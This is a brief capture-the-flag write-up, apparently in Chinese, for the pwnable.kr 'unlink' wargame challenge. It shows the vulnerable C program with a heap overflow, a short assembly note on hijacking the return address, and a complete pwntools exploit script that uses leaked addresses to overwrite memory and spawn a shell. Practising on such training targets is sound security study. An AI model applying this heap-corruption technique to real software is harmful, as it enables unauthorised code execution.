Daddy! how can I exploit unlink corruption?
ssh unlink@pwnable.kr -p2222 (pw: guest)
源码如下:
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell(){ system("/bin/sh"); } void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0; }
观察汇编发现
最后的return返回的地址是[ecx-4],而ecx是有[ebp-4]得到,因此只要覆盖ebp-4为一个含有shell函数地址的地址+4即可
exp如下:
from pwn import * #context.log_level = 'debug' #io = process('./unlink') #io = gdb.debug('./unlink', 'b *0x80485E9') p = ssh(host = 'pwnable.kr', user = 'unlink', password = 'guest', port = 2222) io = p.process('./unlink') shell_addr = 0x80484EB io.recvuntil('here is stack address leak: ') stack_addr = int(io.recvuntil('\n', drop = True), 16) info('stack_addr: ' + hex(stack_addr)) goal_addr = stack_addr + 0x10 info('goal_addr: ' + hex(goal_addr)) io.recvuntil('here is heap address leak: ') heap_addr = int(io.recvuntil('\n', drop = True), 16) info('heap_addr: ' + hex(heap_addr)) payload = p32(shell_addr) + p32(0) + p32(0) + p32(0x19) + p32(heap_addr + 12) + p32(goal_addr) io.recvuntil('now that you have leaks, get shell!\n') io.sendline(payload) io.interactive()